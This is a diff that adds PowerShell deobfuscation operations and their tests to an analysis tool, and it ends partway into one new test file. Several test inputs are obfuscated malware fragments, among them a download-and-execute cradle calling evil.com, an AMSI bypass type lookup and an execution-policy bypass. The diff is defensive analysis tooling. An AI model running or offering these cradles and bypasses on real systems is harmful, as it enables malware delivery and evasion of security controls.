diff --git a/src/core/config/Categories.json b/src/core/config/Categories.json
index d3e7648a..489c8063 100644
--- a/src/core/config/Categories.json
+++ b/src/core/config/Categories.json
@@ -496,6 +496,11 @@
"PHP Deserialize",
"PHP Serialize",
"Microsoft Script Decoder",
+ "PowerShell Format String Deobfuscate",
+ "PowerShell Decode EncodedCommand",
+ "PowerShell Backtick Remove",
+ "PowerShell Concatenation Join",
+ "PowerShell Char Decode",
"Strip HTML tags",
"Diff",
"To Snake case",
diff --git a/src/core/operations/PowerShellBacktickRemove.mjs b/src/core/operations/PowerShellBacktickRemove.mjs
new file mode 100644
index 00000000..e95a17ad
--- /dev/null
+++ b/src/core/operations/PowerShellBacktickRemove.mjs
@@ -0,0 +1,65 @@
+/**
+ * @author vigneshrajan94
+ * @copyright Crown Copyright 2026
+ * @license Apache-2.0
+ */
+
+import Operation from "../Operation.mjs";
+
+/**
+ * PowerShell Backtick Remove operation
+ */
+class PowerShellBacktickRemove extends Operation {
+
+ constructor() {
+ super();
+
+ this.name = "PowerShell Backtick Remove";
+ this.module = "Default";
+ this.description = "Removes obfuscating backtick characters from PowerShell code. Attackers insert backticks before regular letters to break up recognisable keywords without changing execution (In`voke-Ex`pression → Invoke-Expression).
By default all backticks are stripped, which maximally deobfuscates the script. Enable Preserve escape sequences to retain legitimate PowerShell escape sequences (`n, `t, `r, `0, `a, `b, `f, `v, `e, `", `', ``, `$, `u).";
+ this.infoURL = "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_special_characters";
+ this.inputType = "string";
+ this.outputType = "string";
+ this.args = [
+ {
+ name: "Preserve escape sequences",
+ type: "boolean",
+ value: false
+ }
+ ];
+ this.checks = [
+ {
+ pattern: "`[a-zA-Z0-9]",
+ flags: "",
+ args: []
+ }
+ ];
+ }
+
+ /**
+ * @param {string} input
+ * @param {Object[]} args
+ * @returns {string}
+ */
+ run(input, args) {
+ const preserveEscapes = args[0];
+
+ if (!preserveEscapes) {
+ // Strip all backticks — maximally deobfuscating.
+ return input.replace(/`/g, "");
+ }
+
+ // Preserve recognised PowerShell escape sequences by consuming each backtick
+ // together with its following character in one match. This ensures `` (two backticks)
+ // is treated as a single escape unit rather than two independent backticks.
+ // `n `t `r `0 `a `b `f `v `e → control characters
+ // `" `' `` `$ → literal punctuation
+ // `u → Unicode escape (PS 6+)
+ return input.replace(/`([\s\S]?)/g, (match, next) => {
+ return /[ntrabfve0"'`$u]/.test(next) ? match : next;
+ });
+ }
+
+}
+
+export default PowerShellBacktickRemove;
diff --git a/src/core/operations/PowerShellCharDecode.mjs b/src/core/operations/PowerShellCharDecode.mjs
new file mode 100644
index 00000000..b6958a98
--- /dev/null
+++ b/src/core/operations/PowerShellCharDecode.mjs
@@ -0,0 +1,78 @@
+/**
+ * @author vigneshrajan94
+ * @copyright Crown Copyright 2026
+ * @license Apache-2.0
+ */
+
+import Operation from "../Operation.mjs";
+
+/**
+ * PowerShell Char Decode operation
+ */
+class PowerShellCharDecode extends Operation {
+
+ constructor() {
+ super();
+
+ this.name = "PowerShell Char Decode";
+ this.module = "Default";
+ this.description = "Resolves PowerShell [char] cast expressions to their character values. Handles decimal and hexadecimal operands, single casts, and array forms.
Supported patterns
[char]65 → A
[char]0x41 → A
[System.Char]65 → A
[char[]](73,69,88) → \"IEX\"
-join [char[]](73,69,88) → \"IEX\"
Invalid or out-of-range values are left unchanged.";
+ this.infoURL = "https://learn.microsoft.com/en-us/dotnet/api/system.char";
+ this.inputType = "string";
+ this.outputType = "string";
+ this.args = [];
+ this.checks = [
+ {
+ pattern: "\\[(?:System\\.)?[Cc]har\\]",
+ flags: "",
+ args: []
+ }
+ ];
+ }
+
+ /**
+ * @param {string} input
+ * @param {Object[]} args
+ * @returns {string}
+ */
+ run(input, args) {
+ let result = input;
+
+ // Resolve array form first: [char[]](65,66,67) or -join [char[]](65,66,67)
+ result = result.replace(
+ /(?:-join\s*)?\[(?:System\.)?[Cc]har\[\]\]\s*\(([^)]+)\)/g,
+ (match, nums) => {
+ try {
+ const chars = nums.split(",").map(n => {
+ const t = n.trim();
+ const code = /^0x/i.test(t) ? parseInt(t, 16) : parseInt(t, 10);
+ if (isNaN(code) || code < 0 || code > 0xFFFF) throw new RangeError();
+ return String.fromCharCode(code);
+ });
+ return `"${chars.join("")}"`;
+ } catch (e) {
+ return match;
+ }
+ }
+ );
+
+ // Resolve single [char] or [System.Char] cast (decimal or hex)
+ result = result.replace(
+ /\[(?:System\.)?[Cc]har\]\s*(0x[0-9a-fA-F]+|\d+)/g,
+ (match, code) => {
+ try {
+ const num = /^0x/i.test(code) ? parseInt(code, 16) : parseInt(code, 10);
+ if (isNaN(num) || num < 0 || num > 0xFFFF) return match;
+ return String.fromCharCode(num);
+ } catch (e) {
+ return match;
+ }
+ }
+ );
+
+ return result;
+ }
+
+}
+
+export default PowerShellCharDecode;
diff --git a/src/core/operations/PowerShellConcatenationJoin.mjs b/src/core/operations/PowerShellConcatenationJoin.mjs
new file mode 100644
index 00000000..ca22fc43
--- /dev/null
+++ b/src/core/operations/PowerShellConcatenationJoin.mjs
@@ -0,0 +1,61 @@
+/**
+ * @author vigneshrajan94
+ * @copyright Crown Copyright 2026
+ * @license Apache-2.0
+ */
+
+import Operation from "../Operation.mjs";
+
+/**
+ * PowerShell Concatenation Join operation
+ */
+class PowerShellConcatenationJoin extends Operation {
+
+ constructor() {
+ super();
+
+ this.name = "PowerShell Concatenation Join";
+ this.module = "Default";
+ this.description = "Resolves PowerShell string concatenation obfuscation by joining adjacent static string literals separated by +. Only resolves runs where every operand is a quoted literal — expressions involving variables or sub-expressions are left untouched.
Example
Input: 'In'+'vo'+'ke'+'-'+'Item'
Output: 'Invoke-Item'
Handles single-quoted, double-quoted, and mixed-quote chains. Runs iteratively until no further reductions are possible.";
+ this.infoURL = "https://learn.microsoft.com/en-us/powershell/scripting/lang-spec/chapter-07";
+ this.inputType = "string";
+ this.outputType = "string";
+ this.args = [];
+ this.checks = [
+ {
+ pattern: "(?:\"[^\"]*\"|'[^']*')\\s*\\+\\s*(?:\"[^\"]*\"|'[^']*')",
+ flags: "",
+ args: []
+ }
+ ];
+ }
+
+ /**
+ * @param {string} input
+ * @param {Object[]} args
+ * @returns {string}
+ */
+ run(input, args) {
+ let result = input;
+ let prev;
+
+ // Iteratively collapse adjacent quoted-string pairs until stable.
+ // Four passes per iteration to cover all quote-type combinations.
+ do {
+ prev = result;
+ // "a" + "b" → "ab"
+ result = result.replace(/"([^"]*)"\s*\+\s*"([^"]*)"/g, (_, a, b) => `"${a}${b}"`);
+ // 'a' + 'b' → 'ab'
+ result = result.replace(/'([^']*)'\s*\+\s*'([^']*)'/g, (_, a, b) => `'${a}${b}'`);
+ // "a" + 'b' → "ab" (normalise to leading quote style)
+ result = result.replace(/"([^"]*)"\s*\+\s*'([^']*)'/g, (_, a, b) => `"${a}${b}"`);
+ // 'a' + "b" → 'ab'
+ result = result.replace(/'([^']*)'\s*\+\s*"([^"]*)"/g, (_, a, b) => `'${a}${b}'`);
+ } while (result !== prev);
+
+ return result;
+ }
+
+}
+
+export default PowerShellConcatenationJoin;
diff --git a/src/core/operations/PowerShellDecodeEncodedCommand.mjs b/src/core/operations/PowerShellDecodeEncodedCommand.mjs
new file mode 100644
index 00000000..faa549a2
--- /dev/null
+++ b/src/core/operations/PowerShellDecodeEncodedCommand.mjs
@@ -0,0 +1,66 @@
+/**
+ * @author vigneshrajan94
+ * @copyright Crown Copyright 2026
+ * @license Apache-2.0
+ */
+
+import Operation from "../Operation.mjs";
+import {fromBase64} from "../lib/Base64.mjs";
+import OperationError from "../errors/OperationError.mjs";
+
+/**
+ * PowerShell Decode EncodedCommand operation
+ */
+class PowerShellDecodeEncodedCommand extends Operation {
+
+ constructor() {
+ super();
+
+ this.name = "PowerShell Decode EncodedCommand";
+ this.module = "Default";
+ this.description = "Decodes a PowerShell -EncodedCommand payload. The encoded command is a Base64-encoded, UTF-16LE string. Accepts the raw Base64 value, a flag-prefixed form (-enc <b64>), or a full invocation (powershell.exe -w hidden -enc <b64>).
Example
Input: -enc SQBFAFgA
Output: IEX";
+ this.infoURL = "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe";
+ this.inputType = "string";
+ this.outputType = "string";
+ this.args = [];
+ this.checks = [
+ {
+ pattern: "-e(?:n(?:c(?:o(?:d(?:e(?:d(?:c(?:o(?:m(?:m(?:and?)?)?)?)?)?)?)?)?)?)?)?\\s+[A-Za-z0-9+/]+=*\\s*$",
+ flags: "i",
+ args: []
+ }
+ ];
+ }
+
+ /**
+ * @param {string} input
+ * @param {Object[]} args
+ * @returns {string}
+ */
+ run(input, args) {
+ // The Base64 payload is always the last whitespace-separated token.
+ // This cleanly handles all input forms:
+ // "SQBFAFgA"
+ // "-enc SQBFAFgA"
+ // "powershell.exe -w 1 -nop -ep bypass -enc SQBFAFgA"
+ const b64 = input.trim().split(/\s+/).pop().replace(/^["']|["']$/g, "");
+
+ if (!b64) throw new OperationError("No input provided.");
+
+ const bytes = fromBase64(b64, null, "byteArray");
+
+ if (bytes.length < 2) throw new OperationError("Decoded data too short to be a valid UTF-16LE string.");
+ if (bytes.length % 2 !== 0) throw new OperationError("Decoded byte length is odd — not valid UTF-16LE.");
+
+ // Decode UTF-16LE: each character is two bytes, little-endian
+ let result = "";
+ for (let i = 0; i + 1 < bytes.length; i += 2) {
+ result += String.fromCharCode(bytes[i] | (bytes[i + 1] << 8));
+ }
+
+ return result;
+ }
+
+}
+
+export default PowerShellDecodeEncodedCommand;
diff --git a/src/core/operations/PowerShellFormatStringDeobfuscate.mjs b/src/core/operations/PowerShellFormatStringDeobfuscate.mjs
new file mode 100644
index 00000000..d41fbae3
--- /dev/null
+++ b/src/core/operations/PowerShellFormatStringDeobfuscate.mjs
@@ -0,0 +1,71 @@
+/**
+ * @author vigneshrajan94
+ * @copyright Crown Copyright 2026
+ * @license Apache-2.0
+ */
+
+import Operation from "../Operation.mjs";
+
+/**
+ * PowerShell Format String Deobfuscate operation
+ */
+class PowerShellFormatStringDeobfuscate extends Operation {
+
+ constructor() {
+ super();
+
+ this.name = "PowerShell Format String Deobfuscate";
+ this.module = "Default";
+ this.description = "Deobfuscates PowerShell strings that use the -f (format) operator with reordered index placeholders. Malware authors use this technique to scramble string fragments, hiding readable commands from static analysis.
Example
Input: (\"{0}{3}{4}{1}{2}\" -f \"S\",\"Mo\",\"de\",\"et-Stri\",\"ct\")
Output: Set-StrictMode
All matching expressions in the input are resolved in-place. Unresolvable placeholders (e.g. out-of-range indices) are left unchanged.";
+ this.infoURL = "https://github.com/bobby-tablez/Format-String-Deobfuscator";
+ this.inputType = "string";
+ this.outputType = "string";
+ this.args = [];
+ this.checks = [
+ {
+ pattern: "\\(\\s*[\"'][^\"']*\\{\\d+\\}[^\"']*[\"']\\s*-f\\s*[\"']",
+ flags: "i",
+ args: []
+ }
+ ];
+ }
+
+ /**
+ * @param {string} input
+ * @param {Object[]} args
+ * @returns {string}
+ */
+ run(input, args) {
+ // Match: ("" -f "arg0", "arg1", ...) or single-quoted variants
+ // Template captures: group 1 = double-quoted content, group 2 = single-quoted content
+ // Args captures: group 3 = the full comma-separated argument list
+ const exprRegex = /\(\s*(?:"((?:[^"\\]|\\.)*)"|'((?:[^'\\]|\\.)*)')\s*-f\s*((?:(?:"[^"]*"|'[^']*')\s*(?:,\s*(?:"[^"]*"|'[^']*')\s*)*))\s*\)/g;
+
+ return input.replace(exprRegex, (match, dqTemplate, sqTemplate, argsStr) => {
+ try {
+ const template = dqTemplate !== undefined ? dqTemplate : sqTemplate;
+
+ // Extract all quoted argument values in order
+ const argValues = [];
+ const argRegex = /"([^"]*)"|'([^']*)'/g;
+ let argMatch;
+ while ((argMatch = argRegex.exec(argsStr)) !== null) {
+ argValues.push(argMatch[1] !== undefined ? argMatch[1] : argMatch[2]);
+ }
+
+ if (argValues.length === 0) return match;
+
+ // Substitute {N} placeholders with the corresponding argument value
+ return template.replace(/\{(\d+)\}/g, (placeholder, idx) => {
+ const i = parseInt(idx, 10);
+ return i < argValues.length ? argValues[i] : placeholder;
+ });
+ } catch (e) {
+ return match;
+ }
+ });
+ }
+
+}
+
+export default PowerShellFormatStringDeobfuscate;
diff --git a/tests/operations/index.mjs b/tests/operations/index.mjs
index 44792560..0907d30e 100644
--- a/tests/operations/index.mjs
+++ b/tests/operations/index.mjs
@@ -141,6 +141,11 @@ import "./tests/PGP.mjs";
import "./tests/PHP.mjs";
import "./tests/ParityBit.mjs";
import "./tests/PHPSerialize.mjs";
+import "./tests/PowerShellBacktickRemove.mjs";
+import "./tests/PowerShellCharDecode.mjs";
+import "./tests/PowerShellConcatenationJoin.mjs";
+import "./tests/PowerShellDecodeEncodedCommand.mjs";
+import "./tests/PowerShellFormatStringDeobfuscate.mjs";
import "./tests/PowerSet.mjs";
import "./tests/Protobuf.mjs";
import "./tests/PubKeyFromCert.mjs";
diff --git a/tests/operations/tests/PowerShellBacktickRemove.mjs b/tests/operations/tests/PowerShellBacktickRemove.mjs
new file mode 100644
index 00000000..61b59511
--- /dev/null
+++ b/tests/operations/tests/PowerShellBacktickRemove.mjs
@@ -0,0 +1,137 @@
+/**
+ * PowerShell Backtick Remove tests
+ *
+ * @author vigneshrajan94
+ * @copyright Crown Copyright 2026
+ * @license Apache-2.0
+ */
+import TestRegister from "../../lib/TestRegister.mjs";
+
+TestRegister.addTests([
+ {
+ "name": "PowerShell Backtick Remove: basic keyword deobfuscation",
+ "input": "In`voke-Ex`pression",
+ "expectedOutput": "Invoke-Expression",
+ "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+ },
+ {
+ "name": "PowerShell Backtick Remove: IEX alias",
+ "input": "I`E`X",
+ "expectedOutput": "IEX",
+ "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+ },
+ {
+ "name": "PowerShell Backtick Remove: New-Object",
+ "input": "Ne`w-O`bje`ct",
+ "expectedOutput": "New-Object",
+ "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+ },
+ {
+ "name": "PowerShell Backtick Remove: multiple keywords on one line",
+ "input": "I`EX (N`ew-O`bject N`et.W`ebC`lient).Do`wnlo`adStr`ing($url)",
+ "expectedOutput": "IEX (New-Object Net.WebClient).DownloadString($url)",
+ "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+ },
+ {
+ "name": "PowerShell Backtick Remove: default strips all backticks including `n",
+ "input": "Write-Host `\"Hello`nWorld`\"",
+ "expectedOutput": "Write-Host \"HellonWorld\"",
+ "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [false] }]
+ },
+ {
+ "name": "PowerShell Backtick Remove: preserve mode keeps `n escape sequence",
+ "input": "Write-Host `\"Hello`nWorld`\"",
+ "expectedOutput": "Write-Host `\"Hello`nWorld`\"",
+ "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
+ },
+ {
+ "name": "PowerShell Backtick Remove: preserve mode keeps `t tab escape",
+ "input": "col1`tcol2`tcol3",
+ "expectedOutput": "col1`tcol2`tcol3",
+ "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
+ },
+ {
+ "name": "PowerShell Backtick Remove: preserve mode keeps `\" and `' escapes",
+ "input": "\"He said `\"hello`\"\"",
+ "expectedOutput": "\"He said `\"hello`\"\"",
+ "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
+ },
+ {
+ "name": "PowerShell Backtick Remove: preserve mode keeps `$ to suppress variable expansion",
+ "input": "Write-Host `$notAVariable",
+ "expectedOutput": "Write-Host `$notAVariable",
+ "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
+ },
+ {
+ "name": "PowerShell Backtick Remove: preserve mode keeps `` literal backtick escape",
+ "input": "Write-Host ``",
+ "expectedOutput": "Write-Host ``",
+ "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
+ },
+ {
+ "name": "PowerShell Backtick Remove: preserve mode strips obfuscation but keeps escapes",
+ "input": "Inv`oke`-Ex`pression `\"Hello`nWorld`\"",
+ "expectedOutput": "Invoke-Expression `\"Hello`nWorld`\"",
+ "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
+ },
+ {
+ "name": "PowerShell Backtick Remove: empty input",
+ "input": "",
+ "expectedOutput": "",
+ "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+ },
+ {
+ "name": "PowerShell Backtick Remove: no backticks — passthrough",
+ "input": "Invoke-Expression $cmd",
+ "expectedOutput": "Invoke-Expression $cmd",
+ "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+ },
+ {
+ "name": "PowerShell Backtick Remove: AMSI bypass pattern",
+ "input": "[Re`f].A`ss`em`bl`y.G`etT`yp`e('S`yst`em.M`an`ag`em`en`t.A`ut`om`at`io`n.A`ms`iU`ti`ls')",
+ "expectedOutput": "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')",
+ "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+ },
+ {
+ "name": "PowerShell Backtick Remove: digits after backtick are removed (not special)",
+ "input": "Write`1-Host",
+ "expectedOutput": "Write1-Host",
+ "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+ },
+ {
+ "name": "PowerShell Backtick Remove: download cradle with backtick New-Object and WebClient",
+ "input": "i`ex(Ne`w-Ob`ject N`et.W`ebCl`ient).D`ownl`oadStr`ing('http://evil.com/a.ps1')",
+ "expectedOutput": "iex(New-Object Net.WebClient).DownloadString('http://evil.com/a.ps1')",
+ "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+ },
+ {
+ "name": "PowerShell Backtick Remove: Set-ExecutionPolicy bypass split by backticks",
+ "input": "S`et-Ex`ecut`ionP`oli`cy By`pass -S`cop`e Pr`oces`s",
+ "expectedOutput": "Set-ExecutionPolicy Bypass -Scope Process",
+ "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+ },
+ {
+ "name": "PowerShell Backtick Remove: backtick inside URL string",
+ "input": "htt`p://19`2.168.1.1/pa`yload.ps1",
+ "expectedOutput": "http://192.168.1.1/payload.ps1",
+ "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+ },
+ {
+ "name": "PowerShell Backtick Remove: trailing backtick with no following char removed",
+ "input": "Get-Process`",
+ "expectedOutput": "Get-Process",
+ "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+ },
+ {
+ "name": "PowerShell Backtick Remove: preserve mode strips `P `o obfuscation, keeps `n and `\"",
+ "input": "Get-`Pr`ocess `\"Hello`nWorld`\"",
+ "expectedOutput": "Get-`Pr`ocess `\"Hello`nWorld`\"",
+ "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
+ },
+ {
+ "name": "PowerShell Backtick Remove: preserve mode strips obfuscation, keeps `$ suppressor",
+ "input": "Get-`Pr`ocess `$notVar",
+ "expectedOutput": "Get-Process `$notVar",
+ "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
+ }
+]);
diff --git a/tests/operations/tests/PowerShellCharDecode.mjs b/tests/operations/tests/PowerShellCharDecode.mjs
new file mode 100644
index 00000000..df112517
--- /dev/null
+++ b/tests/operations/tests/PowerShellCharDecode.mjs
@@ -0,0 +1,137 @@
+/**
+ * PowerShell Char Decode tests
+ *
+ * @author vigneshrajan94
+ * @copyright Crown Copyright 2026
+ * @license Apache-2.0
+ */
+import TestRegister from "../../lib/TestRegister.mjs";
+
+TestRegister.addTests([
+ {
+ "name": "PowerShell Char Decode: decimal single char",
+ "input": "[char]65",
+ "expectedOutput": "A",
+ "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+ },
+ {
+ "name": "PowerShell Char Decode: hex single char",
+ "input": "[char]0x41",
+ "expectedOutput": "A",
+ "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+ },
+ {
+ "name": "PowerShell Char Decode: [System.Char] form",
+ "input": "[System.Char]65",
+ "expectedOutput": "A",
+ "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+ },
+ {
+ "name": "PowerShell Char Decode: char array — IEX",
+ "input": "[char[]](73,69,88)",
+ "expectedOutput": "\"IEX\"",
+ "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+ },
+ {
+ "name": "PowerShell Char Decode: -join char array — IEX",
+ "input": "-join [char[]](73,69,88)",
+ "expectedOutput": "\"IEX\"",
+ "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+ },
+ {
+ "name": "PowerShell Char Decode: char array with hex values",
+ "input": "[char[]](0x49,0x45,0x58)",
+ "expectedOutput": "\"IEX\"",
+ "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+ },
+ {
+ "name": "PowerShell Char Decode: char array — New-Object",
+ "input": "[char[]](78,101,119,45,79,98,106,101,99,116)",
+ "expectedOutput": "\"New-Object\"",
+ "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+ },
+ {
+ "name": "PowerShell Char Decode: multiple single casts in one line",
+ "input": "[char]73 + [char]69 + [char]88",
+ "expectedOutput": "I + E + X",
+ "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+ },
+ {
+ "name": "PowerShell Char Decode: char cast embedded in script",
+ "input": "$cmd = [char[]](73,69,88); & $cmd $payload",
+ "expectedOutput": "$cmd = \"IEX\"; & $cmd $payload",
+ "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+ },
+ {
+ "name": "PowerShell Char Decode: null character",
+ "input": "[char]0",
+ "expectedOutput": "\x00",
+ "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+ },
+ {
+ "name": "PowerShell Char Decode: space character",
+ "input": "[char]32",
+ "expectedOutput": " ",
+ "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+ },
+ {
+ "name": "PowerShell Char Decode: no [char] casts — passthrough",
+ "input": "Invoke-Expression $cmd",
+ "expectedOutput": "Invoke-Expression $cmd",
+ "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+ },
+ {
+ "name": "PowerShell Char Decode: empty input",
+ "input": "",
+ "expectedOutput": "",
+ "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+ },
+ {
+ "name": "PowerShell Char Decode: mixed case [Char]",
+ "input": "[Char]65",
+ "expectedOutput": "A",
+ "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+ },
+ {
+ "name": "PowerShell Char Decode: char array with spaces after commas",
+ "input": "[char[]](73, 69, 88)",
+ "expectedOutput": "\"IEX\"",
+ "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+ },
+ {
+ "name": "PowerShell Char Decode: ieX via hex char array (Hatching.io sample)",
+ "input": "[char[]](0x69,0x65,0x58)",
+ "expectedOutput": "\"ieX\"",
+ "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+ },
+ {
+ "name": "PowerShell Char Decode: Write-Output cmdlet via decimal char array",
+ "input": "[char[]](87,114,105,116,101,45,79,117,116,112,117,116)",
+ "expectedOutput": "\"Write-Output\"",
+ "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+ },
+ {
+ "name": "PowerShell Char Decode: AmsiUtils via decimal char array",
+ "input": "[char[]](65,109,115,105,85,116,105,108,115)",
+ "expectedOutput": "\"AmsiUtils\"",
+ "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+ },
+ {
+ "name": "PowerShell Char Decode: Get-Process via hex char array",
+ "input": "[char[]](0x47,0x65,0x74,0x2d,0x50,0x72,0x6f,0x63,0x65,0x73,0x73)",
+ "expectedOutput": "\"Get-Process\"",
+ "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+ },
+ {
+ "name": "PowerShell Char Decode: Invoke-Expression embedded in script",
+ "input": "$c = [char[]](73,110,118,111,107,101,45,69,120,112,114,101,115,115,105,111,110); & $c",
+ "expectedOutput": "$c = \"Invoke-Expression\"; & $c",
+ "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+ },
+ {
+ "name": "PowerShell Char Decode: out-of-range value left unchanged",
+ "input": "[char]99999",
+ "expectedOutput": "[char]99999",
+ "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+ }
+]);
diff --git a/tests/operations/tests/PowerShellConcatenationJoin.mjs b/tests/operations/tests/PowerShellConcatenationJoin.mjs
new file mode 100644
index 00000000..91f0a9d0
--- /dev/null
+++ b/tests/operations/tests/PowerShellConcatenationJoin.mjs
@@ -0,0 +1,119 @@
+/**
+ * PowerShell Concatenation Join tests
+ *
+ * @author vigneshrajan94
+ * @copyright Crown Copyright 2026
+ * @license Apache-2.0
+ */
+import TestRegister from "../../lib/TestRegister.mjs";
+
+TestRegister.addTests([
+ {
+ "name": "PowerShell Concatenation Join: two single-quoted fragments",
+ "input": "'Invoke' + '-Item'",
+ "expectedOutput": "'Invoke-Item'",
+ "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+ },
+ {
+ "name": "PowerShell Concatenation Join: two double-quoted fragments",
+ "input": "\"Invoke\" + \"-Expression\"",
+ "expectedOutput": "\"Invoke-Expression\"",
+ "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+ },
+ {
+ "name": "PowerShell Concatenation Join: three-fragment chain",
+ "input": "'In' + 'vo' + 'ke-Item'",
+ "expectedOutput": "'Invoke-Item'",
+ "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+ },
+ {
+ "name": "PowerShell Concatenation Join: five-fragment chain",
+ "input": "'In' + 'v' + 'ok' + 'e-' + 'Item'",
+ "expectedOutput": "'Invoke-Item'",
+ "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+ },
+ {
+ "name": "PowerShell Concatenation Join: mixed single + double quotes",
+ "input": "\"New-\" + 'Object'",
+ "expectedOutput": "\"New-Object\"",
+ "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+ },
+ {
+ "name": "PowerShell Concatenation Join: mixed double + single quotes",
+ "input": "'New-' + \"Object\"",
+ "expectedOutput": "'New-Object'",
+ "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+ },
+ {
+ "name": "PowerShell Concatenation Join: embedded in a script",
+ "input": "$x = 'Do' + 'wn' + 'load' + 'File'\n$y = 'normal'",
+ "expectedOutput": "$x = 'DownloadFile'\n$y = 'normal'",
+ "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+ },
+ {
+ "name": "PowerShell Concatenation Join: multiple independent concatenations on same line",
+ "input": "('Ne' + 'w-' + 'Ob' + 'ject') ('Do' + 'wn' + 'load' + 'File')",
+ "expectedOutput": "('New-Object') ('DownloadFile')",
+ "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+ },
+ {
+ "name": "PowerShell Concatenation Join: no concatenation — passthrough",
+ "input": "$x = 'Invoke-Expression'",
+ "expectedOutput": "$x = 'Invoke-Expression'",
+ "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+ },
+ {
+ "name": "PowerShell Concatenation Join: empty input",
+ "input": "",
+ "expectedOutput": "",
+ "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+ },
+ {
+ "name": "PowerShell Concatenation Join: variable operand left untouched",
+ "input": "'Invoke-' + $suffix",
+ "expectedOutput": "'Invoke-' + $suffix",
+ "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+ },
+ {
+ "name": "PowerShell Concatenation Join: spaces inside strings preserved",
+ "input": "'Net.' + 'Web' + 'Client'",
+ "expectedOutput": "'Net.WebClient'",
+ "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+ },
+ {
+ "name": "PowerShell Concatenation Join: extra whitespace around plus",
+ "input": "'foo' + 'bar'",
+ "expectedOutput": "'foobar'",
+ "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+ },
+ {
+ "name": "PowerShell Concatenation Join: IEX AMSI bypass pattern",
+ "input": "$a = 'Am' + 'si' + 'Ut' + 'ils'",
+ "expectedOutput": "$a = 'AmsiUtils'",
+ "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+ },
+ {
+ "name": "PowerShell Concatenation Join: Emotet-style URL split",
+ "input": "'h' + 'tt' + 'p://' + '192' + '.168' + '.1' + '.71' + '/hello.ps1'",
+ "expectedOutput": "'http://192.168.1.71/hello.ps1'",
+ "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+ },
+ {
+ "name": "PowerShell Concatenation Join: DownloadFile method name split",
+ "input": "'Down' + 'load' + 'File'",
+ "expectedOutput": "'DownloadFile'",
+ "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+ },
+ {
+ "name": "PowerShell Concatenation Join: IEX single-char split",
+ "input": "'I' + 'E' + 'X'",
+ "expectedOutput": "'IEX'",
+ "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+ },
+ {
+ "name": "PowerShell Concatenation Join: Set-StrictMode split",
+ "input": "'Se' + 't-' + 'St' + 'ric' + 'tMo' + 'de'",
+ "expectedOutput": "'Set-StrictMode'",
+ "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+ }
+]);
diff --git a/tests/operations/tests/PowerShellDecodeEncodedCommand.mjs b/tests/operations/tests/PowerShellDecodeEncodedCommand.mjs
new file mode 100644
index 00000000..df5e8aac
--- /dev/null
